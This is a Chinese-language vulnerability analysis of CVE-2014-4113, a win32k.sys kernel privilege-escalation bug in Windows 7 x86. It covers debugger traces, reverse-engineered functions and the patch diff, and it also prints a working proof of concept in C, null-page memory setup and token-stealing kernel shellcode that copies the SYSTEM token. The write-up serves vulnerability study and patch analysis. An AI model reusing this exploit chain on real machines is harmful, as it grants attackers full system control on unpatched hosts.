作者:selph
漏洞分析:CVE-2014-4113
漏洞介绍
漏洞程序
Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后台控制窗口和屏幕输出管理等。
如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。
漏洞原理
该漏洞发生的位置是在驱动文件Win32k.sys中的xxxHandleMenuMessage函数中,销毁弹出菜单的时候通过钩子的方法修改返回值,将返回值修改为fffffffb,因为对这个值没有严格的检查从而在sendmessage中再次被引用到,从而造成了UAF,这个方法可以在sendmessage中跳转到shellcode从而提权
实验环境
虚拟机:Windows 7 x86 sp1
物理机:Windows 10 x64 21H2
用到的工具:IDA,Windbg,VS2022
漏洞分析
以网上随便找的poc为突破口,开始分析漏洞,在虚拟机里运行poc,windbg接管异常,说明漏洞实际存在(默认安装的Windows7x86sp1)
查看调用堆栈:
kd> kb # ChildEBP RetAddr Args to Child 00 af0bfa64 9d5b95c5 fffffffb 000001ed 0024fcd4 win32k!xxxSendMessageTimeout 0xb3 01 af0bfa8c 9d6392fb fffffffb 000001ed 0024fcd4 win32k!xxxSendMessage 0x28 02 af0bfaec 9d638c1f af0bfb0c 00000000 0024fcd4 win32k!xxxHandleMenuMessages 0x582 03 af0bfb38 9d63f8f1 fd665208 9d71f580 00000000 win32k!xxxMNLoop 0x2c6 04 af0bfba0 9d63f9dc 0000001c 00000002 00000000 win32k!xxxTrackPopupMenuEx 0x5cd 05 af0bfc14 83e441ea 00010211 00000002 00000000 win32k!NtUserTrackPopupMenuEx 0xc3 06 af0bfc14 77a670b4 (T) 00010211 00000002 00000000 nt!KiFastCallEntry 0x12a 07 0024fce8 762a483e (T) 76292243 00010211 00000002 ntdll!KiFastSystemCallRet
查看一下当前异常的地方:
kd> u win32k!xxxSendMessageTimeout 0xb3: 9d5b93fa 3b7e08 cmp edi,dword ptr [esi 8] 9d5b93fd 0f8484000000 je win32k!xxxSendMessageTimeout 0x140 (9d5b9487) 9d5b9403 8b0e mov ecx,dword ptr [esi] 9d5b9405 8b15e4d1719d mov edx,dword ptr [win32k!gSharedInfo 0x4 (9d71d1e4)] 9d5b940b 81e1ffff0000 and ecx,0FFFFh 9d5b9411 0faf0de8d1719d imul ecx,dword ptr [win32k!gSharedInfo 0x8 (9d71d1e8)] 9d5b9418 33c0 xor eax,eax 9d5b941a f644110901 test byte ptr [ecx edx 9],1
是esi的值导致了漏洞,查看esi的值:
kd> r esi esi=fffffffb
在调用链中,由用户层的TrackPopupMenu函数触发漏洞,而这个函数的功能是在屏幕指定位置显示快捷菜单并且跟踪选择的菜单项(参考资料[6])
这里头会调用xxxMNLoop,这个函数里有while(1)循环,应该是消息循环,处理消息的函数貌似正是xxxHandleMenuMessages
据查阅资料(参考资料[11]),TrackPopupMenu显示菜单之后,消息循环就由菜单接管了,此时进入的是PopupMenu的消息循环
分析xxxHandleMenuMessages
这里面开始经过一堆判断之后,会通过xxxMNFindWindowFromPoint获取一个窗口句柄,用于后续的xxxSendMessage函数使用
这个分支的大概内容是,从鼠标位置获取下一层的菜单项,获取到了就发送ButtonDown(0x1ED)消息,也就是说,执行到这个分支实际上是点击事件!
而这里对于xxxMNFindWindowFromPoint返回的句柄值的处理则是,如果不是-1,就发送0x1ED消息
分析xxxMNFindWindowFromPoint
异常发生在了xxxSendMessage里的,是由于第一个参数传入的有问题导致的,而第一个参数来自xxxMNFindWindowFromPoint的返回值,该函数如下图所示
可以看到这个函数的开头:这里首先判断了当前菜单是否存在下级菜单,条件是ppopupmenu->spwndNextPopup有值,这里的ppopupmenu是传入的参数,是PPOPUPMENU结构体(参考资料[14])
其中spwndNextPopup成员的值含义是:下一层Popup菜单,是WND结构,所以需要创建两个popup菜单,其中一个作为另一个的下层
struct tagWND *spwndNextPopup; /* The next popup in the hierarchy. Null if the last * in chain */
这里发送了消息0x1EB,MN_FINDMENUWINDOWFROMPOINT消息,根据名字猜测功能就是根据位置找菜单窗口,发送的目标是popup菜单的下一层菜单,返回值应该就是菜单句柄了
这里对返回值会调用IsMFMWFPWindow函数进行处理:如果是非空,且不为-5或-1,就返回1
BOOL __stdcall IsMFMWFPWindow(int a1) { return a1 && a1 != -5 && a1 != -1; }
若这里返回了1,就会进入if语句导致该变量被重新赋值,也就是说,这里如果要跳过这个if语句,返回值就必须是-1或-5,而在前面看到,如果返回值是-1,则不会进入到触发漏洞的SendMessage中,所以这里的返回值在为-5的时候,会触发漏洞
分析xxxSendMessage
int __stdcall xxxSendMessage(PVOID P, CHAR pszMultiByteString, WCHAR WideCharString, void *Src) { InterlockedIncrement(&glSendMessage); return xxxSendMessageTimeout(P, pszMultiByteString, WideCharString, Src, 0, 0, 0, (PVOID)1); }
这个函数把传入的参数又接着传入了xxxSendMessageTimeout函数
分析xxxSendMessageTimeout
程序异常点在esi的值上,esi=-5被传入了进来,然后进行取值触发地址访问异常
这个函数首先把这个值保存到了esi
接着往下有一个比较跳转:会从esi 8的地址取值
再往下还有两个要esi的地方:
Poc编写
如果能控制0x1EB消息的返回值为-5,那么就能走到xxxSendMessageTimeout中,让程序异常触发漏洞,实现poc
参考师傅们的笔记(参考资料[15])得知,这里的调用SendMessage存在两种调用形式,同步和异步,在异步调用的情况下,会从内核态进入用户态去执行用户钩子,执行完再切换回内核态返回:因此,可以Hook 0x1EB消息
Poc如下(参考自参考资料[5]的poc代码):
#include #include LRESULT CALLBACK DialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { // 手动触发按下事件 if (uMsg == WM_ENTERIDLE) { PostMessageA(hWnd, WM_KEYDOWN, VK_DOWN, 0); PostMessageA(hWnd, WM_KEYDOWN, VK_RIGHT, 0); PostMessageA(hWnd, WM_LBUTTONDOWN, 0, 0); } return DefWindowProc(hWnd, uMsg, wParam, lParam); } LRESULT CALLBACK NewDialogFun(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { // 触发漏洞,返回-5 if (uMsg == 0x1eb) { return -5; } return DefWindowProc(hWnd, uMsg, wParam, lParam); } LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) { CWPSTRUCT* ptag = (CWPSTRUCT*)lParam; if (ptag->message == 0x1eb) { // 这里至关重要:需要解除Hook if (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) { SetWindowLongA(ptag->hwnd, GWLP_WNDPROC, (LONG)NewDialogFun); } } return CallNextHookEx(0, code, wParam, lParam); } int main() { // 注册窗口类 WNDCLASSA wnd = { 0 }; wnd.hInstance = ::GetModuleHandle(NULL); wnd.lpfnWndProc = DialogFun; wnd.lpszClassName = "CVE-2014-4113"; RegisterClassA(&wnd); // 创建窗口 HWND hwnd = ::CreateWindowA( wnd.lpszClassName, "CVE-2014-4113", WS_OVERLAPPEDWINDOW, 0, 0, 800, 600, NULL, NULL, wnd.hInstance, NULL); // 创建Pop-up菜单 // 需要两个菜单,一个作为子菜单存在 HMENU menu1 = CreatePopupMenu(); // 主菜单 HMENU menu2 = CreatePopupMenu(); // 子菜单 ::AppendMenuA(menu2, MF_STRING, 0, "world"); ::AppendMenuA(menu1, MF_STRING | MF_POPUP, (UINT_PTR)menu2, "hello"); //给它一个 spwndNextPopup 指针 // 设置Hook ::SetWindowsHookExA(WH_CALLWNDPROC, HookCallback, NULL, GetCurrentThreadId()); // 触发漏洞 BOOL ret = TrackPopupMenu(menu1, TPM_RIGHTBUTTON, 0, 0, 0, hwnd, 0); return 0; }
这里踩了个坑!!设置完钩子在里头记得要解除钩子!!!
漏洞利用
在Poc的基础上,如果能控制0x3,0x11,0x5B这几个地址的值,就能进行漏洞的利用
布置内存
DWORD GetPtiCurrent() { __asm { mov eax, fs: [0x18] mov eax, [eax 0x40] } } BOOL initMem() { // 初始化一些要用到的内存 HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); typedef NTSTATUS(WINAPI* PNtAllocateVirtualMemory)( HANDLE ProcessHandle, PVOID* BaseAddress, ULONG ZeroBits, PULONG AllocationSize, ULONG AllocationType, ULONG Protect ); PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); // 申请内存 ULONG base = -5; ULONG size = 0x1000; NTSTATUS ntstatus = NtAllocateVirtualMemory(GetModuleHandle(NULL), (PVOID*)&base, 0, &size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (ntstatus != 0) { FreeLibrary(hNtdll); return FALSE; } *(DWORD*)0x3 = GetPtiCurrent(); *(BYTE*)0x11 = (BYTE)4; *(DWORD*)0x5B = (DWORD)ShellCode; return TRUE; }
Shellcode
来自参考资料[19]
int __stdcall ShellCode(int parameter1, int parameter2, int parameter3, int parameter4) { _asm { pushad mov eax, fs: [124h] // Find the _KTHREAD structure for the current thread mov eax, [eax 0x50] // Find the _EPROCESS structure mov ecx, eax mov edx, 4 // edx = system PID(4) // The loop is to get the _EPROCESS of the system find_sys_pid : mov eax, [eax 0xb8] // Find the process activity list sub eax, 0xb8 // List traversal cmp[eax 0xb4], edx // Determine whether it is SYSTEM based on PID jnz find_sys_pid // Replace the Token mov edx, [eax 0xf8] mov[ecx 0xf8], edx popad } return 0; }
完整代码见GitHub:https://github.com/kn0sky/vul-analysis-study/blob/main/CVE-2014-4113/CVE-2014-4113.cpp
利用截图
补丁diff
漏洞触发点(0x1ED消息)处的函数对比
可以看到,左边检查ebx参数是检查是否是-1,不是-1则发送消息
右边的检查则多了一个过程,调用了IsMFMWFPWindow函数进行再次检查:
BOOL __stdcall IsMFMWFPWindow(int a1) { return a1 && a1 != -5 && a1 != -1; }
这下子直接杜绝了把-5当作参数传入SendMessage函数的情况,从而修补了漏洞